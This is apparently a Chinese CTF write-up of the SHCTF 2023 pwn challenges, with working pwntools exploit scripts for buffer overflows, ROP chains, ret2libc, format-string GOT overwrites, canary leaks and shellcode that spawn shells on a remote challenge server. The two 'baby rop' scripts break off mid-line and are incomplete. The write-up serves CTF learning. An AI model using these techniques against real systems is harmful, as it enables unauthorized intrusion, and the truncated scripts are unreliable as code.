[SHCTF 2023 校外赛道] pwn

有19道题这么多,不过基本是入门题,都是在骗新生,看这么容易快来PWN吧!

week1

四则计算器

这里用危险函数gets读入有个溢出.而且PIE也没开,地址是固定的.而且有后门.直接溢出到ret写上后门即可.

[SHCTF 2023 校外赛道] pwn_第1张图片

from pwn import *

p = remote('112.6.51.212', 31473)
context(arch='amd64', log_level='debug')

p.sendlineafter(b'--->', b'\x00'*50 + flat(0, 0x4015e4))
p.sendlineafter(b"If you wanna reuse plz input 1\n", b'0')
p.sendline(b'cat flag')

p.interactive()

猜数游戏

调用了随机数函数,用时间置种子.由于前后台都与标准时钟同步,所以可以在本地得到这个时间然后用随机数生成相同的数字.

[SHCTF 2023 校外赛道] pwn_第2张图片

这里没有给libc,但rand这个函数在各个版本上没有什么变化,随便找一个就能用.另外有个坑:32位随机数大多数是11位10进制数,1开头,但这题只能输入10位.当随机数为10位时才能成功.

from pwn import *

#p = process('./guess')
p = remote('112.6.51.212', 31904)
context(arch='amd64', log_level='debug')

from ctypes import *
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
clibc.srand(clibc.time(0))
v =clibc.rand()
print(v)

p.sendlineafter(b'how many digit you think about this number?\n', b'11 ')
p.sendline(str(v).encode()+b'\x00')  #当长度不够11位时可成功

p.interactive()

 

hard nc

略,连上去随便找,练习linux命令

rop chain

[SHCTF 2023 校外赛道] pwn_第3张图片

栈上只有32,但可读入0x300,而且从代码里能找出所有ROP,直接整链就行了

from pwn import *

#p = process('./simplerop')
p = remote('112.6.51.212', 31807)
context(arch='amd64', log_level='debug')

#gdb.attach(p, 'b*0x401852\nc')

pop_rax = 0x0000000000419a1c # pop rax ; ret
pop_rdi = 0x0000000000401d1d # pop rdi ; ret
pop_rsi = 0x000000000040a30d # pop rsi ; ret
pop_rdx = 0x0000000000401858 # pop rdx ; ret
pop_rcx = 0x000000000040185a # pop rcx ; ret
leave_ret = 0x401852 
bss       = 0x49ff00
syscall   = 0x451c05  #syscall ret

pay = b'\x00'*0x20 + flat(bss, pop_rdi, 0, pop_rsi, bss, pop_rdx, 8, pop_rax, 0, syscall, pop_rdi, bss, pop_rsi,0, pop_rdx,0, pop_rax, 59, syscall)
p.sendafter(b':', pay.ljust(768, b'\x00'))

p.send(b'/bin/sh\x00')

p.interactive()

 

口算题

没有附件,远程就是些口算题,但是需要写程序的时候转换*和/

from pwn import *

p = remote('112.6.51.212', 31529)
context(arch='amd64', log_level='debug')

p.sendlineafter(b'...',b'')

while True:
    p.recvline()
    v = p.recvline()[:-3]
    print(v)
    v = v.replace(b'\xc3\x97', b'*').replace(b'\xc3\xb7', b'/')
    r = eval(v)
    p.sendline(str(r).encode())
    p.recvline()

p.interactive()

baby stack

还是栈溢出,在vuln有个溢出,前边有个hint 是说bsh = '$0',这里$0和/bin/sh是一样的

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax

  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdin, 0LL);
  v3 = strlen(hello);
  write(1, hello, v3);
  system("echo Let me see how can you pwn it\n");
  vuln();
  return 0;
}
ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  hint();
  return read(0, buf, 0x100uLL);
}
void hint()
{
  bsh = (__int64)&unk_400858;
}

可以直接system($0)也可以用传统方法先泄露再geshell

from pwn import *

#p = process('./babystack')
p = remote('112.6.51.212', 32089)
context(arch='amd64', log_level='debug')

elf = ELF('./babystack')
pop_rdi = 0x0000000000400833 # pop rdi ; ret
pop_rsi = 0x0000000000400831 # pop rsi ; pop r15 ; ret
bss = 0x601f20

#gdb.attach(p, 'b*0x400740\nc')
pay = b'\x00'*0x20 + flat(bss, pop_rdi,1, pop_rsi, elf.got['system'], 0, elf.plt['write'], 0x400718)
p.sendafter(b'it\n', pay.ljust(0x100, b'\x00'))
system = u64(p.recv(8)) 
libc_addr = system - 0x453a0
bin_sh = libc_addr + 0x18ce57
print(f"{ libc_addr = :x}")

pay = b'\x00'*0x20 + flat(bss, pop_rdi,bin_sh, pop_rsi, 0, 0, system, 0x400718)
p.send(pay)

p.interactive()

 

show show way

读入s然后比较y,p相等.y在s后边直接向后写覆盖y即可.

int vuln()
{
  gets(&s);
  if ( strcmp(y, p) )
  {
    puts("you lose the game");
    exit(0);
  }
  return getflag();
}
from pwn import *

#p = process('./babystack')
p = remote('112.6.51.212', 32467)
context(arch='amd64', log_level='debug')

p.sendlineafter(b"Let's try\n", b'A'*0x40+b'showshowway\x00')

p.interactive()

 

pkmon

可以输入一个数作为偏移,然后往这个地址里写数据.可以直接往got[puts]写入get_flag

__int64 vuln()
{
  int v1; // [rsp+Ch] [rbp-4h] BYREF

  puts("Congratulations on becoming a Pokemon Master");
  puts("Now come up with a name for your Pokemon");
  __isoc99_scanf("%d", &v1);
  return __isoc99_scanf("%8s", 8 * v1 + 0x6010A0LL);
}

week2

easy_shellcode

通过栈上的值写0x10在输出时带出栈地址,并且栈可执行.输入shellcode然后在ret处写个跳转

from pwn import *

p = remote('112.6.51.212', 31855)
context(arch='amd64', log_level='debug')

p.sendafter(b"What's your name?\n", b'A'*0x10)
p.recvuntil(b'A'*0x10)
stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x80
print(f"{ stack = :x}")

p.sendafter(b"please input your strong\n", asm(shellcraft.sh()).ljust(0x78,b'\x00')+ p64(stack))

p.sendline(b"cat flag")
p.interactive()

baby rop

32位溢出用ROP_gadget --ropchain得到chain然后缩一下

from pwn import *

from struct import pack

# Padding goes here
p = b''

p += pack('

baby rop2

64位的情况

from pwn import *
from struct import pack

# Padding goes here
p = b''

p += pack('

string

格式化字符串漏洞.而且次数不限.先泄露libc再改got[atoi]为system输入/bin/sh

[SHCTF 2023 校外赛道] pwn_第4张图片

from pwn import *

#p = process('./pwn')
p = remote('112.6.51.212', 32427)
context(arch='amd64', log_level='debug')

elf = ELF('./pwn')
libc = ELF('./libc.so.6')

#gdb.attach(p, "b*0x4012b5\nc")

p.sendlineafter(b"Input your choice:\n", b'1')
p.sendlineafter(b"Input your message:\n", b'%43$p')
libc.address = int(p.recvline(), 16) - 243 - libc.sym['__libc_start_main']
print(f"{ libc.address = :x}")

one = libc.address + 0xe3afe #0xe3b01  0xe3b04
p.sendlineafter(b"Input your choice:\n", b'1')
p.sendlineafter(b"Input your message:\n", fmtstr_payload(6, {elf.got['atoi']: libc.sym['system']}))

p.sendlineafter(b"Input your choice:\n", b'/bin/sh\x00')
    

p.interactive()

 

原始人启动

有个检查输入串,但仅查一部分,用;号绕过即可.

[SHCTF 2023 校外赛道] pwn_第5张图片

from pwn import *

#p = process('./Genshin')
p = remote('112.6.51.212', 32590)
context(arch='amd64', log_level='debug')

msg = b'yuanshen,qidong!;/bin/sh'
v = [u32(msg[i:i+4]) for i in range(0, len(msg),4)] + [0]*10

p.recvline()
for i in v:
    p.sendline(str(i).encode())

p.recvline()

p.interactive()

 

要买此东西吗

32位有printf可得到想要的地址,有溢出,唯一难点在于加了canary,需要先泄露canary

[SHCTF 2023 校外赛道] pwn_第6张图片

from pwn import *

#p = process('./pwn2')
p = remote('112.6.51.212', 32696)
context(arch='i386', log_level='debug')

elf = ELF('./pwn2')
libc = ELF('./libc.so.6')
#libc = ELF('/usr/lib/i386-linux-gnu/libc.so.6')

#gdb.attach(p, "b*0x80494c5\nc")

p.sendlineafter(b"Your choice:\n", b'1')
p.sendlineafter(b"and you can get a gift\n", b'%15$p')
canary = int(p.recvline(), 16)
print(f"{ canary = :x}")

p.sendlineafter(b"Your choice:\n", b'1')
p.sendlineafter(b"and you can get a gift\n", b'%19$p')
libc.address = int(p.recvline(), 16) - 245 - libc.sym['__libc_start_main']
print(f"{ libc.address = :x}")

ret = 0x8049479
p.sendlineafter(b"Your choice:\n", b'2')
p.sendafter(b"and you can get the power\n", b'\x00'*0x20 + flat(canary, 0,0,0, ret, libc.sym['system'],0, 0x804a03f))

p.interactive()

 

week3

call call world

输入前两个给v2后边给nptr再后边给v4,后边这段参数看汇编,是执行int 0x80

[SHCTF 2023 校外赛道] pwn_第7张图片

[SHCTF 2023 校外赛道] pwn_第8张图片 

from pwn import *
from base64 import b64encode 

#p = process('./bac')
p = remote('112.6.51.212', 30335)
context(arch='i386', log_level='debug')

#gdb.attach(p, "b*0x8049556\nc")

elf = ELF('./bac')

#fff() 
p.sendlineafter(b'shell??\n', b'\x00'*0x48 + flat(0, elf.sym['backd00r']))

p.sendlineafter(b'!', b64encode(b'110/bin/sh\x00')) #ecx:2, eax:1 ebx->/bin/sh 

p.interactive()

 

transfer

数据被读到bss上,然后有个很小的溢出只有8字节,不能写ROP只能写个跳转.

[SHCTF 2023 校外赛道] pwn_第9张图片

先把ROP传上去,再移栈跳到ROP执行

 

from pwn import *
from base64 import b64encode 

#p = process('./transfer')
p = remote('112.6.51.212', 30360)
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x4012a7\nc")

elf = ELF('./transfer')

pop_rdi = 0x0000000000401313 # pop rdi ; ret
pop_rsi = 0x0000000000401311 # pop rsi ; pop r15 ; ret
leave_ret = 0x4012a7
str1 = 0x405160
p.sendafter(b'haha,welcome!\n', flat(b'/bin/sh\x00', pop_rdi, str1, 0x40122e))
p.sendafter(b"input:\n", flat(0, str1, leave_ret))

p.interactive()

After math

先过两关,然后有溢出.

[SHCTF 2023 校外赛道] pwn_第10张图片

第1关是猜数字,跟前边的随机数一样,用ctype库

[SHCTF 2023 校外赛道] pwn_第11张图片 

第2关需要一个负数绕过

[SHCTF 2023 校外赛道] pwn_第12张图片 

然后后边可以 printf泄露和改got表 

from pwn import *
from ctypes import *

#p = process('./aftermath')
context(arch='amd64', log_level='debug')

elf = ELF('./aftermath')

clibc = cdll.LoadLibrary("./libc.so.6")

while True:
    p = remote('112.6.51.212', 30737)
    #1
    #p.recvline()
    clibc.srand(clibc.time(0))  #时间同步
    v3 = clibc.rand()
    v2 = ((v3 + 1919810)&0xffffffff)^0x1bf52
    p.sendlineafter(b"Let's see how to pass the randomness and the unknown\n",str(v2).encode())
    if b'not' in p.recvline():
        p.close()
        continue
    break

#2
p.sendlineafter(b"Input v1:", b'0')
p.sendlineafter(b"Input v2:", b'4294967196') #-100&0xffffffff

#gdb.attach(p, "b*0x401541\nc")

#3 printf
p.recvuntil(b"If you pass, I will give you shell as a gift\n")
p.sendline(b"%43$p,%39$p,%40$p,%41$p")
libc_address = int(p.recvuntil(b',', drop=True),16) - 0x29d90 # 2.35  0x2718a  #libc版本不详
print(f"{ libc_address = :x}")

p.sendline(fmtstr_payload(6, {elf.got['printf']: libc_address + 0x50d60})) #0x4c330

p.sendline(b'/bin/sh')

p.interactive()

start your PWN

传统的溢出,泄露+getshell两回合

from pwn import *

#p = process('./start')
p = remote('112.6.51.212', 30755)
context(arch='amd64', log_level='debug')

#gdb.attach(p, "b*0x400697\nc")

elf = ELF('./start')
pop_rdi = 0x0000000000400773 # pop rdi ; ret
pop_rsi = 0x0000000000400771 # pop rsi ; pop r15 ; ret

p.sendafter(b"Please:\n", b'\x00'*0x100 + flat(0x601f00, pop_rdi, 1, pop_rsi, elf.got['write'],1, elf.plt['write'], pop_rsi, elf.got['write']+4, 1, elf.plt['write'], elf.sym['main']))
p.recv(4)
a = p.recv(4)+p.recv(4)
print(a)
libc_base = u64(a) - 0x10e060 #0xf8180
print( f"{ libc_base = :x}" )

system = libc_base + 0x52290 #0x4c330
bin_sh = libc_base + 0x1b45bd #0x196031

p.sendafter(b"Please:\n", b'\x00'*0x100 + flat(0x601f00, pop_rdi, bin_sh, system))

p.interactive()

你可能感兴趣的:(前端,linux,javascript)